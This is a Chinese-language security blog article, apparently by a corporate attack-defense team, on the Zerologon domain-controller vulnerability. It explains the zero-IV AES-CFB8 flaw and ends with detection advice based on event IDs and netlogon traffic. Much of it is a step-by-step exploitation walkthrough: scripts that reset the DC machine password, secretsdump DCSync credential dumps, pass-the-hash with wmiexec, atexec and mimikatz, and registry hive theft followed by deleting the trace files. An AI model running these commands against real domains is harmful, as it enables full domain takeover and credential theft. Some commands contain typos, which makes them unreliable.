“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
漏洞描述
Zerologon是一个域控远程权限提升漏洞 因为微软在netlogon(域访问认证协议)协议中没有正确的设置加密算法导致的漏洞
在进行AES加密时使用的是AES-CFB8模式并且错误的将 iv设置为全零 再配合客户端咨询值可控的情况 产生了在加密时全为0的情况。
Windows受影响版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
Samba受影响版本:
https://www.samba.org/samba/security/CVE-2020-1472.html
4.0 < Samba < 4.8 且 未配置 server schannel = yes
Samba > 4.0 且 Smb.conf配置文件中配置了server schannel = no或server schannel = auto
漏洞验证
查看域控的主机名:
net group "domain controllers" /domain
python3 zerologon_tester.py WIN-DI4K2HC4DSQ 192.168.3.4
漏洞利用
重置域控hash
域控密码置换为空
注意:密码置换为空可能会导致脱域
python3 set_empty_pw.py WIN-DI4K2HC4DSQ 192.168.3.4
横向方式
secretsdump
攻击成功后,此时目标域控的机器账户AD01$的密码已经置为空了。由于域控的机器账户默认在域内具有DCSync权限。因此,可以使用目标域控的机器账户AD01$远程连接域控,指定Hash为空,使用secretsdump.py脚本导出域内任意用户的Hash。如下命令导出域管理员administrator的Hash,再使用该Hash远程连接域控
利用python脚本的方式需要依赖445 smb服务和135 rpc服务
dump 与 横向连接/命令执行
使用impacket中的secretsdump.py脚本使用 DCSync 导出域内所有用户的凭证
python3 secretsdump.py 域/目标计算机名/$@目标IP -just-dc -no-pass
例如:
python3 examples/secretsdump.py test.com/WIN-DI4K2HC4DSQ\$@192.168.3.4 -just-dc -no-pass
impacket wmiexec.py 横向连接
python3 wmiexec.py 域/administrator@目标IP -hashes administrator账号的哈希值
例如:
python3 examples/wmiexec.py test.com/administrator@192.168.3.4 -hashes aad3b435b51404eeaad3b435b51404ee:5e7f9efc2634f59c2fab89e99c89afd1
atexec.py 执行命令
Python3 atexec.py -hashes :7ecfffxxxx548187607a14bad0f88bb1 red/administrator@192.168.2.118 "ipconfig"
mimikatz
mimikatz可应对445smb服务关闭的情况,因为mimikatz方法只依赖135rpc服务
https://github.com/gentilkiwi/mimikatz/releases
检测是否存在漏洞
使用mimikatz执行如下命令检测目标域控是否存在Netlogon权限提升漏洞。
mimikatz.exe "privilege::debug" "lsadump:zerologon /target:10.211.55.4 /account:AD01""exit"
POC
lsadump::zerologon /target:WIN-4MRAELMUJKS /account:WIN-4MRAELMUJKS$
重置域控hash
mimikatz.exe "lsadump:zerologon /target:10.211.55.4 /ntlm /null /account:AD01$
/exploit" "exit"
lsadump::zerologon /target:WIN-4MRAELMUJKS /account:WIN-4MRAELMUJKS$ /exploit
lsadump::dcsync /domain:red.com /dc:WIN-4MRAELMUJKS /user:administrator /authuser:WIN-4MRAELMUJKS$ /authdomain:red /authpassword:"" /authntlm
导出用户administrator的Hash
mimikatz.exe "lsadump:dcsync /csv /domain:xie.com /dc:AD01.xie.com user:administrator /authuser:AD01$/authpassword:\"\/authntlm""exit"
使用用户administrator的Hash连接域控,这一步需要privilege:debug提权
mimikatz.exe "privilege:debug" "sekurlsa:pth /user:administrator domain:192.168.3.4 /rc4:33el7aa21ccc6ab0e6ff30eecb918dfb" "exit"
lsadump::postzerologon /target:red.com /account:WIN-4MRAELMUJKS$
恢复密码
方式一 先获得域控机器账户的原始Hash,然后恢复
将域去掉进行连接
python3 examples/wmiexec.py administrator@192.168.3.4 -hashes aad3b435b51404eeaad3b435b51404ee:5e7f9efc2634f59c2fab89e99c89afd1
连接上之后恢复密码,备份注册表,并保存到本地,保存后删除备份的注册表
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save
使用secretsdump.py脚本解析保存到本地的注册表备份
Python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
使用zerologon中的reinstall_original_pw.py脚本恢复密码
python3 reinstall_original_pw.py 目标计算机名 目标IP 之前获取的hash
注释:之前获取的hash可选项
例如:
python3 reinstall_original_pw.py DC 192.168.226.200 0afa5481330oa
无密码dump hash测试
python3 impacket/examples/secretsdump.py 域名/主机名\$@主机名对应IP -just-dc -no-pass
python3 impacket/examples/secretsdump.py test.com/WIN-DI4K2HC4DSQ\$@192.168.3.4 -just-dc -no-pass
或者
python3 impacket/examples/secretsdump.py test.com/WIN-DI4K2HC4DSQ\$@192.168.3.4 -no-pass
有两组可选 红框($MACHINE.ACC:plain_password_hex:后面的部分) 或者绿框
不为空 恢复成功的效果
密码为空的效果
下载完后删除痕迹文件:
del /f system.savedel /f sam.savedel /f security.save
Mimikatz
mimikatz.exe "privilege:debug" "sekurlsa::logonpasswords" "exit"
secretsdump.py
使用secretsdump.py脚本执行如下命令,启用卷影复制服务(Volume Shadow copy Service,VSS)导出域内所有Hash,其中就包含域内机器账户的Hash。
python3 secretsdump.py xie.com/administrator@10.211.55.4 -hashes aad3b435b51404eeaad3b435b51404ee:33e17aa21ccc6ab0e6ff30eecb918dfb -use-vss
python3 secretsdump.py weipai.com/administrator@192.168.3.4 -hashes aad3b435b51404eeaad3b435b51404ee:5e7f9efc2634f59c2fab89e99c89afd1 -just-dc-user "DC$"
使用PowerShell
命令重置Hash也可以直接在域控上执行如下PowerShell命令,该命令会重置计算机的机器账户密码重置后,活动目录数据库、注册表、lsss进程中的密码均一致,但重置后的密码与原始密码不一致。
PowerShell Reset-ComputerMachinePassword
漏洞分析
netlogon认证流程
1. 由客户端启动网络登录会话,客户端调用NetrServerReqChallenge函数给服务端发送随机的8字节的Client Challenge值
2. 服务端收到客户端发送的NetrServerReqChallenge函数调用指令后,服务端也调用NetrServerReqChallenge函数发送随机的8字节的Server Challenge值。
3. 此时,客户端和服务端均收到了来自对方的Challenge值,然后双方都使用共享的密钥secret(客户端机器账户的Hash)以及来自双方的Challenge值通过计算得到SessionKey[Session Key=-KDF(secret,.(Client Challenge+Server Challenge)]。此时,客户端和服务端均拥有了相同的Client Challenge、Server Challenge、Session Key。
4. 客户端使用Session Key作为密钥加密Client Challenge得到Client Credential并发送给服务端。服务端收到客户端发来的Client Credential后,本地使用Session Key作为密钥加密Client Challenge计算出Client Credential,然后比铰本地计算出的Client Credential和从客户端发送来的Client Credential是否相同。如果两者相同,则说明客户端拥有正确的凭据以及Session Key。
5. 服务端使用Session Key作为密钥加密Server Challenge得到Server Credential并发送给客户端。客户端收到务端发来的Server Credential后,本地使用Session Key作为密钥加密Server Challenge计算出Server Credential,然后比较本地计算出的Server Credential和从服务端发送来的Server Credential是否相同。如果两者相同,则说明服务端拥有相同的Session Key.。
6. 至此,客户端和服务端双方互相认证成功并且拥有相同的Session Key,此后使用Session Key来加密后续的RPC通信流量。
客户端和服务端协商使用AES加密过程
采用AES-128 CFB8模式首先初始化一个16字节的IV并用Session Key对其进行AES加密得到的结果中的第一字节与8字节的明文也就是challenge进行异与运算,然后整体向前移动一位获取新得iv继续该流程进行8次
AES-CFB8加密过程
IV:fab3c65326caafb0cacb21c3f8c19f68
明文input:0102030405060708
第一轮加密: AES(fab3c65326caafbOcacb21c3f8c19f68)=e2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
第一个字节e2与明文input第一个字节01进行异或运算得到e3,此时IV变成了b3c65326caafbOcacb21c3f8c19f68e3
第二轮加密:AES(b3c65326caafb0cacb21c3f8c19f68e3)=9axxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 第一个字节9a与明文input的第二个字节02进行异或运算得到98,此时IV变成了c65326caafbOcacb21c3f8c19f68e398
依此类推,经过八轮加密后,密文output.为e398f5934212f0ba
漏洞出处
初始化向量处理不当
在ComputeNetlogonCredential函数中将IV初始化为全0的l6字节数据,这就导致了AES-CFB8算法出现了漏洞。在认证过程中计算出的Session Key是随机的,那么对全为0的IV有1/256的概率使得output也全为0。由于Netlogon协议对机器账户的认证次数没有限制,因此攻击者可以不断尝试来通过身份认证
威胁狩猎
思路一:通过AD系统审计日志
如果域控服务器没有打补丁,攻击者利用“Zerologon”漏洞攻击成功后会有event ID 4742:
event ID 4742表示计算机帐户已更改,我们注意到帐户名是“ANONYMOUS LOGON”,受影响的帐户名称是域控制器计算机帐户(DC$)所以event ID 4742可以用来发现疑似“Zerologon”漏洞攻击行为,但仅仅通过event ID 4742还不够,因为正常的账户更改也会产生event ID 4742,所以会产生一定的误报。由于攻击者需要通过netlogon RPC协议进行多次尝试,还会产生event ID 5805:
检测到域控系统审计日志的两个event ID:失败尝试event ID 5580和成功利用漏洞event ID 4742;
并且event ID 4742中帐户名为“ANONYMOUS LOGON”
Microsoft补丁中添加了五个新的event ID,以通知易受攻击的Netlogon连接:
● 允许存在漏洞的Netlogon安全通道连接时,将生成event ID 5829
● 拒绝易受攻击的Netlogon连接时,将触发event ID 5827和5828
● 允许存在漏洞的Netlogon连接时触发的event ID 5830和5831
如果域控已经安装了补丁,还可以通过以上5个event ID进行威胁狩猎
思路二:通过网络流量
根据上面的分析,攻击者需要使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证。所以网络中将会有大量的netlogon协议信息:
我们可以使用全流量工具过滤出netlogon协议信息(“protocols == dcerpc”),如果短时间内出现大量的NetrServerAuthenticate3请求,并且client credential全为0,这样的行为是比较异常的